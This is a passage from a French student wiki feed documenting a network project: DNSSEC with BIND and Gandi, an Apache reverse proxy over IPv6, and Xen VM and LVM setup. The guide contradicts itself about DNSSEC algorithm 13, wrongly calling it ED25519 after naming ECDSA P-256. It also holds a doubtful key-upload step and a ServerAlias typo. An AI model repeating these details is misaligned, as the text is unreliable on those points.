&amp;lt;/syntaxhighlight&amp;gt;🔹 '''ksk''' : Key Signing Key (clé qui signe les autres clés DNS).&lt;br /&gt;
&lt;br /&gt;
🔹 '''zsk''' : Zone Signing Key (clé qui signe les enregistrements DNS).&lt;br /&gt;
&lt;br /&gt;
🔹 '''algorithm 13''' : Il s’agit d’'''ECDSA P-256 with SHA-256''' (&amp;lt;nowiki&amp;gt;RFC 6605&amp;lt;/nowiki&amp;gt;), algorithme sécurisé et moderne.&lt;br /&gt;
&lt;br /&gt;
🔹 '''nsec3param''' : Indique que '''NSEC3''' est utilisé (permet de sécuriser les réponses &amp;quot;ce nom n'existe pas&amp;quot; sans divulguer d'autres noms).&lt;br /&gt;
&lt;br /&gt;
✅ Les deux clés sont générées dans le répertoire &amp;lt;code&amp;gt;key-directory&amp;lt;/code&amp;gt;, ont une durée de vie '''illimitée''', et utilisent '''l’algorithme 13''' (ED25519, rapide et sécurisé).&lt;br /&gt;
&lt;br /&gt;
✅ &amp;lt;code&amp;gt;nsec3param&amp;lt;/code&amp;gt; : active la protection contre l’énumération de noms (empêche de “scanner” une zone DNS facilement).&lt;br /&gt;
&lt;br /&gt;
Pour que '''DNSSEC fonctionne correctement''', il faut '''déclarer la clé KSK''' (Key Signing Key) chez votre '''registrar''', ici '''Gandi'''.&lt;br /&gt;
&lt;br /&gt;
Sur votre machine, les clés sont générées automatiquement dans le répertoire (key-directory dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.local)&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/etc/bind/keys/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Par exemple, vous pouvez voir des fichiers comme ceux-ci :&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
Kmuspellheim2.online.+013+03837.key&lt;br /&gt;
Kmuspellheim2.online.+013+03837.private&lt;br /&gt;
Kmuspellheim2.online.+013+03837.state&lt;br /&gt;
&lt;br /&gt;
Kmuspellheim2.online.+013+14053.key&lt;br /&gt;
Kmuspellheim2.online.+013+14053.private&lt;br /&gt;
Kmuspellheim2.online.+013+14053.state&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;🗝️ Les fichiers importants :&lt;br /&gt;
&lt;br /&gt;
* Les fichiers '''&amp;lt;code&amp;gt;.key&amp;lt;/code&amp;gt;''' contiennent la '''clé publique''' (celle que vous devez copier/coller sur Gandi).&lt;br /&gt;
* Les fichiers '''&amp;lt;code&amp;gt;.private&amp;lt;/code&amp;gt;''' contiennent la '''clé privée''' (à '''ne jamais partager''' !).&lt;br /&gt;
* Les fichiers '''&amp;lt;code&amp;gt;.state&amp;lt;/code&amp;gt;''' servent à BIND pour gérer l’état et la durée de validité des clés.&lt;br /&gt;
&lt;br /&gt;
Pour éviter tout problème avec la validation DNSSEC, pensez à mettre les deux fichiers .key dans l’interface de Gandi, dans la partie DNSSEC de votre domaine.&lt;br /&gt;
&lt;br /&gt;
💡 En faisant cela, vous reliez votre zone DNS signée à la chaîne de confiance globale d’Internet : tout le monde pourra alors vérifier que vos données DNS sont authentiques et non modifiées.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois la configuration DNSSEC en place, on peut tester si '''tout fonctionne correctement''' avec le site '''DNSViz'''.&lt;br /&gt;
&lt;br /&gt;
Ce site permet d’'''analyser les signatures DNSSEC''' et de vérifier si la '''chaîne de confiance''' est bien construite du début à la fin (depuis la racine DNS jusqu’à votre zone).&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:DNSviz Muspellheim2.online.png|gauche|1129x1129px|DNSviz Muspellheim2.online]]&lt;br /&gt;
|}&lt;br /&gt;
Le graphe montre '''la chaîne de confiance DNSSEC''' :&lt;br /&gt;
&lt;br /&gt;
* On part de la '''racine DNS''' (&amp;lt;code&amp;gt;.&amp;lt;/code&amp;gt;), qui délègue au TLD &amp;lt;code&amp;gt;.online&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &amp;lt;code&amp;gt;.online&amp;lt;/code&amp;gt; contient une clé DS qui fait le lien avec '''ton domaine''' &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Ensuite, ton domaine possède ses propres clés (DNSKEY), qui signent toutes les infos de ta zone (A, NS, AAAA, etc.)&lt;br /&gt;
&lt;br /&gt;
✅ Tout est &amp;quot;Secure&amp;quot; sur le graphe → l'''a configuration DNSSEC est correcte et vérifiée''' !&lt;br /&gt;
== APACHE ==&lt;br /&gt;
=====&amp;lt;span style=&amp;quot;color:#bab9bd;font-weight: bold;&amp;quot;&amp;gt;&amp;lt;u&amp;gt; '''Configuration d’Apache sur GOW''' :&amp;lt;/u&amp;gt; &amp;lt;/span&amp;gt;=====&lt;br /&gt;
Apache va '''écouter les requêtes envoyées à muspellheim2.online''', puis les '''rediriger vers un autre serveur''' (ici Atreus), via son '''adresse IPv6'''.&lt;br /&gt;
&lt;br /&gt;
Cela permet d’accéder à un site web qui tourne sur Atreus '''même si celui-ci n’a pas d’IPv4 publique'''.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;root@GOW:~# cat /etc/apache2/sites-available/muspellheim2.online.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Partie HTTP (port 80)&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName muspellheim2.online&lt;br /&gt;
&lt;br /&gt;
    ProxyPass / http://[2001:660:4401:60a0:216:3eff:fe91:f4e3]/&lt;br /&gt;
    ProxyPassReverse / http://[2001:660:4401:60a0:216:3eff:fe91:f4e3]/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Partie HTTPS (port 443)&lt;br /&gt;
&amp;lt;IfModule mod_ssl.c&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName muspellheim2.online&lt;br /&gt;
&lt;br /&gt;
    SSLProxyEngine on&lt;br /&gt;
    ProxyPreserveHost on&lt;br /&gt;
&lt;br /&gt;
    SSLCertificateFile /etc/ssl/certs/muspellheim2.online.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/private/muspellheim2.online.key&lt;br /&gt;
    SSLCertificateChainFile /etc/ssl/certs/KGandiPierre/GandiCert.pem&lt;br /&gt;
&lt;br /&gt;
    ProxyPass / https://[2001:660:4401:60a0:216:3eff:fe91:f4e3]/&lt;br /&gt;
   ProxyPassReverse / https://[2001:660:4401:60a0:216:3eff:fe91:f4e3]/&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
📄 '''Fichier concerné : /etc/apache2/sites-available/muspellheim2.online.conf'''&lt;br /&gt;
&lt;br /&gt;
Ce fichier configure un virtual host Apache2 pour le domaine muspellheim2.online, en mode proxy inverse (reverse proxy). Cela signifie que le serveur Apache2 reçoit les requêtes des utilisateurs et les redirige vers un autre serveur (Atreus), ici identifié par son adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Le fichier gère deux protocoles :&lt;br /&gt;
&lt;br /&gt;
- HTTP (port 80) — non sécurisé&lt;br /&gt;
&lt;br /&gt;
- HTTPS (port 443) — sécurisé avec SSL/TLS&lt;br /&gt;
&lt;br /&gt;
🔹 *VirtualHost :80 : Cela signifie que ce bloc s'applique à toutes les interfaces réseau, sur le port 80 (HTTP).&lt;br /&gt;
&lt;br /&gt;
🔹 ServerName : Nom de domaine géré par ce virtual host. Apache redirigera les requêtes envoyées à muspellheim2.online.&lt;br /&gt;
&lt;br /&gt;
🔹 ProxyPass / ... : Toutes les requêtes reçues sur / sont transmises à l'adresse IPv6 mentionnée. C’est là que tourne le vrai service web.&lt;br /&gt;
&lt;br /&gt;
🔹 ProxyPassReverse : Permet de réécrire les en-têtes de redirection (comme les Location: envoyés par le serveur cible), pour que le client voit toujours muspellheim2.online au lieu de l’IP.&lt;br /&gt;
&lt;br /&gt;
Atreus n’a pas d’IPv4 publique, donc il n’est pas directement joignable depuis Internet.&lt;br /&gt;
&lt;br /&gt;
➜ GOW, qui a une IP publique, agit comme une porte d’entrée vers Atreus.&lt;br /&gt;
&lt;br /&gt;
➜ C’est lui qui reçoit les requêtes extérieures et les redirige en interne vers le bon serveur.&lt;br /&gt;
&lt;br /&gt;
On appelle ça un proxy inverse : le client ne sait pas que le site tourne ailleurs, tout passe par GOW.&lt;br /&gt;
&lt;br /&gt;
=====&amp;lt;span style=&amp;quot;color:#bab9bd;font-weight: bold;&amp;quot;&amp;gt;&amp;lt;u&amp;gt; '''Configuration d’Apache2 sur Atreus : le vrai serveur web – Site muspellheim2.online''' :&amp;lt;/u&amp;gt; &amp;lt;/span&amp;gt;=====&lt;br /&gt;
📄 Fichier : /etc/apache2/sites-available/000-muspellheim.conf&lt;br /&gt;
&lt;br /&gt;
Ce fichier configure le serveur Apache2 sur la machine Atreus, qui héberge le véritable contenu du site muspellheim2.online. Il gère aussi bien les connexions HTTP que HTTPS.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName muspellheim2.online&lt;br /&gt;
    ServerAlias www.muspellheim2.online&lt;br /&gt;
    RedirectPermanent / https://muspellheim2.online/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
🔹 *VirtualHost :80 : Écoute sur le port HTTP.&lt;br /&gt;
&lt;br /&gt;
🔹 ServerName / ServerAlias :&lt;br /&gt;
&lt;br /&gt;
ServerName : Nom principal du site.&lt;br /&gt;
&lt;br /&gt;
ServerAlias : Permet aussi de répondre à www.muspellheim2.online.&lt;br /&gt;
&lt;br /&gt;
🔹 RedirectPermanent / : Redirige tout le trafic HTTP vers HTTPS. &lt;br /&gt;
&lt;br /&gt;
💡 '''Pourquoi ?'''&lt;br /&gt;
&lt;br /&gt;
C’est une '''bonne pratique de sécurité''' : on force tous les visiteurs à utiliser une connexion chiffrée.&lt;br /&gt;
&lt;br /&gt;
Partie HTTPS – Serveur principal&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName muspellheim2.online&lt;br /&gt;
    ServerAlias www.muspellheim.online&lt;br /&gt;
    ...&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  Port 443 : Pour les connexions HTTPS (chiffrées).&lt;br /&gt;
&lt;br /&gt;
🔹 ServerName / ServerAlias : Idem que pour le port 80&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
SSLCertificateFile /etc/ssl/certs/muspellheim2.online.crt&lt;br /&gt;
SSLCertificateKeyFile /etc/ssl/certs/private/muspellheim2.online.key&lt;br /&gt;
SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
🔹 Ces trois fichiers permettent au serveur d’offrir une connexion HTTPS sécurisée :&lt;br /&gt;
&lt;br /&gt;
- .crt : certificat public du site. &lt;br /&gt;
&lt;br /&gt;
- .key : clé privée (confidentielle). &lt;br /&gt;
&lt;br /&gt;
- ChainFile : certificat intermédiaire (chaîne de certification, fourni par Gandi ici).&lt;br /&gt;
&lt;br /&gt;
'''📝 Logs Apache'''&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
🔹 Gère la journalisation :&lt;br /&gt;
&lt;br /&gt;
- error.log : erreurs serveur.&lt;br /&gt;
&lt;br /&gt;
- access.log : toutes les requêtes reçues, avec IP, timestamp, etc.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Partie HTTP (port 80)&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName muspellheim2.online&lt;br /&gt;
    ServerAlias www.muspellheim2.online&lt;br /&gt;
    RedirectPermanent / https://muspellheim2.online/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Partie HTTPS (port 443)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName muspellheim2.online&lt;br /&gt;
    ServerAlias www.muspellheim.online&lt;br /&gt;
    # SSLProxyEngine on&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
    SSLCertificateFile /etc/ssl/certs/muspellheim2.online.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/certs/private/muspellheim2.online.key&lt;br /&gt;
    SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
    &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
        SSLOptions +StdEnvVars&lt;br /&gt;
    &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
    &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
        SSLOptions +StdEnvVars&lt;br /&gt;
    &amp;lt;/Directory&amp;gt;&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et comme '''Atreus est le vrai serveur''', et que '''GOW redirige tout vers lui''', ça permet à l’utilisateur de '''n’avoir aucune idée que deux serveurs travaillent ensemble derrière &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt;'''.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Schéma fonctionnel redirection vers Atreus.png|alt=Schéma fonctionnel redirection vers Atreus|345x345px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== ✅ Vérification finale : est-ce que le site est en ligne et accessible ? ==&lt;br /&gt;
Une fois que '''tout est configuré''' (serveur web, DNS, DNSSEC, reverse proxy, certificats...), il ne reste plus qu'à '''tester si le site fonctionne bien'''.&lt;br /&gt;
&lt;br /&gt;
=== 🧪 Méthode 1 : test en ligne de commande avec &amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt; ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
curl -4 https://muspellheim2.online&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Sortie curl -4 muspellheim.png|alt=sortie curl -4 muspellheim|550x550px]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
curl -6 https://muspellheim2.online&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Sortie curl -6 muspellheim.png|alt=sortie curl -6 muspellheim|502x502px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== 🌍 Méthode 2 : test dans un navigateur ===&lt;br /&gt;
Vous pouvez aussi tout simplement ouvrir votre navigateur préféré et taper l’adresse :&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
https://muspellheim2.online&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Projet fini Muspellheim.png|alt=Projet fini Muspellheim|1076x1076px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;curl -4&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;curl -6&amp;lt;/code&amp;gt; permettent de '''vérifier si votre site répond en IPv4 et IPv6'''.&lt;br /&gt;
&lt;br /&gt;
* Si vous n’avez pas de retour ou que la connexion échoue, vérifiez :&lt;br /&gt;
** votre '''config Apache'''&lt;br /&gt;
** vos '''règles de pare-feu'''&lt;br /&gt;
** vos '''enregistrements DNS'''&lt;br /&gt;
** et que vos '''certificats sont bien en place'''&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2024/2025_E14&amp;diff=11273</id>
		<title>Atelier SysRes SE4 2024/2025 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2024/2025_E14&amp;diff=11273"/>
		<updated>2026-01-20T15:58:43Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* CRÉATION MACHINES VIRTUELLES */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''Projet AARV LECOMTE et CASIMIRI'''&lt;br /&gt;
&lt;br /&gt;
== INTRODUCTION ==&lt;br /&gt;
Dans le cadre de ce projet de virtualisation, j’ai déployé une infrastructure composée de '''deux machines dédiées aux services''' et d’une '''machine mandataire''', le tout orchestré à l’aide de '''Xen'''.&lt;br /&gt;
&lt;br /&gt;
La machine '''Atreus''' joue un rôle central en assurant '''l’hébergement des services web''' et autres composants applicatifs. La machine '''GOW''' fait office de '''mandataire réseau''' : elle gère la '''connectivité vers l’extérieur''', que ce soit en '''IPv4 ou en IPv6''', et sert aussi de '''reverse proxy''' pour rediriger les requêtes vers les machines de service internes.&lt;br /&gt;
&lt;br /&gt;
La '''deuxième machine de service''' appartient à Monsieur '''Antoine LECOMPTE''' et porte le nom de '''Kratos'''. Elle complète l’architecture et participe à l’ensemble des services distribués au sein de l’infrastructure.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;big&amp;gt;'''✉️ Petit mot pour les prochaines promotions'''&amp;lt;/big&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Salut à vous les prochaines promos 👋&lt;br /&gt;
&lt;br /&gt;
Dans ce document, j’ai essayé de vous expliquer au mieux les différentes étapes que j’ai traversées pour monter ce projet. Je me suis appuyé sur ce que j’ai compris moi-même au fil des TP, les cours des profs (qu’il faut vraiment relire, ils sont précieux), des ressources trouvées sur Internet, et je ne vais pas vous mentir… parfois un petit coup de main de certains LLM comme ChatGPT 👀 m’a bien aidé quand je bloquais.&lt;br /&gt;
&lt;br /&gt;
Ce n’est pas un tutoriel parfait, mais plutôt un guide pour vous accompagner avec des explications techniques assez simples à comprendre (que je pense avoir compris surtout), même si vous n’avez encore jamais touché au réseau, à l’infra ou à un serveur web. L’objectif, c’est que vous puissiez prendre confiance, comprendre les bases, et réussir à faire tourner votre projet sans paniquer.&lt;br /&gt;
&lt;br /&gt;
Je vous souhaite vraiment bon courage pour ce projet. C’est l’un des meilleurs moyens d’apprendre concrètement et de progresser à fond. N’hésitez pas à poser des questions à vos profs, ils sont là pour vous aider. Prenez le temps de relire vos cours tranquillement, et surtout, n’ayez pas peur de tester, de faire des erreurs, de casser et de recommencer (certains profs demande à ce qu'on casse les machines pour montrer qu'on cherche) : c’est comme ça qu’on apprend.&lt;br /&gt;
&lt;br /&gt;
Si vous avez l'occasion de les consulter, je vous conseille vivement d'aller regarder les wikis de Madame EL BACHIRI, Monsieur TOURON et Monsieur DETREZ. Ils ont certaines informations en plus que moi sur tout ce qui va être configurations CISCO, OSPF et tout ce qui touche au physique (câbles, commutateurs).&lt;br /&gt;
&lt;br /&gt;
En espérant que vous allez plus loin que nous sur ce projet ![[Fichier:Df -h.png|vignette]]&lt;br /&gt;
&lt;br /&gt;
== CRÉATION MACHINES VIRTUELLES ==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous devons configurer nos MV de services. Il leur faut plusieurs paramètres pour fonctionner selon nos critères.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Atreus --dhcp --bridge=bifrost --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Kratos --dhcp --bridge=bifrost --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;''' :  Commande permettant de créer une nouvelle machine virtuelle Xen&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--hostname=SE4.Atreus&amp;lt;/code&amp;gt;''' :  Spécifie le nom d'hôte de la nouvelle MV créée. Ici, le nom d'hôte sera &amp;lt;code&amp;gt;SE4.Atreus&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dhcp&amp;lt;/code&amp;gt;''' :  Indique que la MV obtiendra automatiquement une adresse IP via DHCP. Aucune configuration statique d'adresse IP ne sera nécessaire.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--bridge=bifrost&amp;lt;/code&amp;gt;''' :  Précise l'utilisation du pont réseau nommé &amp;lt;code&amp;gt;bifrost&amp;lt;/code&amp;gt; pour connecter la machine virtuelle au réseau physique ou virtuel existant. Ceci permet une connexion directe de la VM au réseau.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dir=/usr/local/xen&amp;lt;/code&amp;gt;''' :  Définit le répertoire dans lequel seront stockées les images disque et les fichiers associés de la MV. Ici, l'image sera placée dans le dossier &amp;lt;code&amp;gt;/usr/local/xen&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--size=10GB&amp;lt;/code&amp;gt;''' :  Détermine la taille du disque virtuel pour cette MV. Dans cet exemple, le disque fera &amp;lt;code&amp;gt;10 Go&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dist=daedalus&amp;lt;/code&amp;gt;''' :  Indique la distribution du système d'exploitation à utiliser pour la MV. Ici, la distribution choisie s'appelle &amp;lt;code&amp;gt;daedalus&amp;lt;/code&amp;gt; pour Debian.&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--memory=2048M&amp;lt;/code&amp;gt;''' :  Détermine la quantité de mémoire vive (RAM) allouée à la MV. Dans cet exemple, la MV aura &amp;lt;code&amp;gt;2048 Mo&amp;lt;/code&amp;gt; (soit 2 Go) de RAM.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi créer des volumes logiques dédiés à des /var et /home pour chacune de nos VM.&lt;br /&gt;
&lt;br /&gt;
Sur capbreton, les commandes sont :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;lvcreate -L10G -nSE4.[NomdeVM].home virtual&lt;br /&gt;
&lt;br /&gt;
lvcreate -L10G -nSE4.[NomdeVM].var virtual&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
celà va créer des volumes logiques dédiés aux paths /var et /home pour vos VM dans un dossier /dev/virtual.&lt;br /&gt;
&lt;br /&gt;
A AUCUN moment vous devez écrire une ligne commençant par mkfs sur capbreton, vous risquez de tuer capbreton si vous le faites.&lt;br /&gt;
&lt;br /&gt;
Pour initialiser les machines, nous devons exécuter ces commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Atreus.cfg&lt;br /&gt;
xen create /etc/xen/SE4.Kratos.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
Une fois les MV créées et en ligne, nous devons exécuter ces commandes pour les contrôler:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.Atreus&lt;br /&gt;
xen console SE4.Kratos&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Une fois le login &amp;quot;root&amp;quot; et le mdp (top secret) rentrés dans la console, nous sommes sur la VM et pouvons la contrôler comme un ordinateur avec un OS classique.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@Atreus:~#&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== PARTIONING DES MV ==&lt;br /&gt;
Nous avons modifié les fichiers &amp;lt;code&amp;gt;/etc/xen/[Kratos][Atreus].cfg&amp;lt;/code&amp;gt; pour attacher les partitions LVM aux machines :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root        = '/dev/xvda2 ro'&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Atreus/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Atreus/swap.img,xvda1,w',&lt;br /&gt;
		  'phy:/dev/virtual/SE4.Atreus.home,xvda3,w',&lt;br /&gt;
		  'phy:/dev/virtual/SE4.Atreus.var,xvdb1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le paramètre &amp;lt;code&amp;gt;disk&amp;lt;/code&amp;gt; définit les disques virtuels attachés à la machine virtuelle (domaine Xen).&lt;br /&gt;
&lt;br /&gt;
Chaque élément du tableau suit la syntaxe :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;type&amp;gt;:&amp;lt;source&amp;gt;,&amp;lt;cible&amp;gt;,&amp;lt;mode&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''type :''' indique si le disque provient :&lt;br /&gt;
** d'un fichier (&amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt;)&lt;br /&gt;
** d'un périphérique physique réel (&amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt;).&lt;br /&gt;
* '''source :''' chemin complet vers l'image disque ou vers le périphérique physique sur la machine hôte.&lt;br /&gt;
* '''cible :''' nom du périphérique vu par la machine virtuelle (exemple : &amp;lt;code&amp;gt;xvda&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt;, etc.).&lt;br /&gt;
&lt;br /&gt;
* '''mode :''' type d'accès au disque (&amp;lt;code&amp;gt;r&amp;lt;/code&amp;gt; en lecture seule, &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; en lecture-écriture).&lt;br /&gt;
&lt;br /&gt;
==== DISQUE VIRTUEL PRINCIPAL : ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Atreus/disk.img,xvda2,w'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''Type''' : &amp;lt;code&amp;gt;file&amp;lt;/code&amp;gt; (stockage basé sur un fichier-image disque).&lt;br /&gt;
* '''Source''' : &amp;lt;code&amp;gt;/usr/local/xen/domains/SE4.Atreus/disk.img&amp;lt;/code&amp;gt; (fichier contenant le disque virtuel).&lt;br /&gt;
* '''Cible''' : &amp;lt;code&amp;gt;xvda2&amp;lt;/code&amp;gt; (deuxième partition du disque virtuel &amp;lt;code&amp;gt;xvda&amp;lt;/code&amp;gt; visible depuis la MV).&lt;br /&gt;
* '''Mode''' : &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; (lecture-écriture).&lt;br /&gt;
&lt;br /&gt;
Ce disque correspond à la racine (&amp;lt;code&amp;gt;/&amp;lt;/code&amp;gt;) du système de fichiers Linux de la MV.&lt;br /&gt;
&lt;br /&gt;
==== DISQUE VIRTUEL SWAP ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Atreus/swap.img,xvda1,w'&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
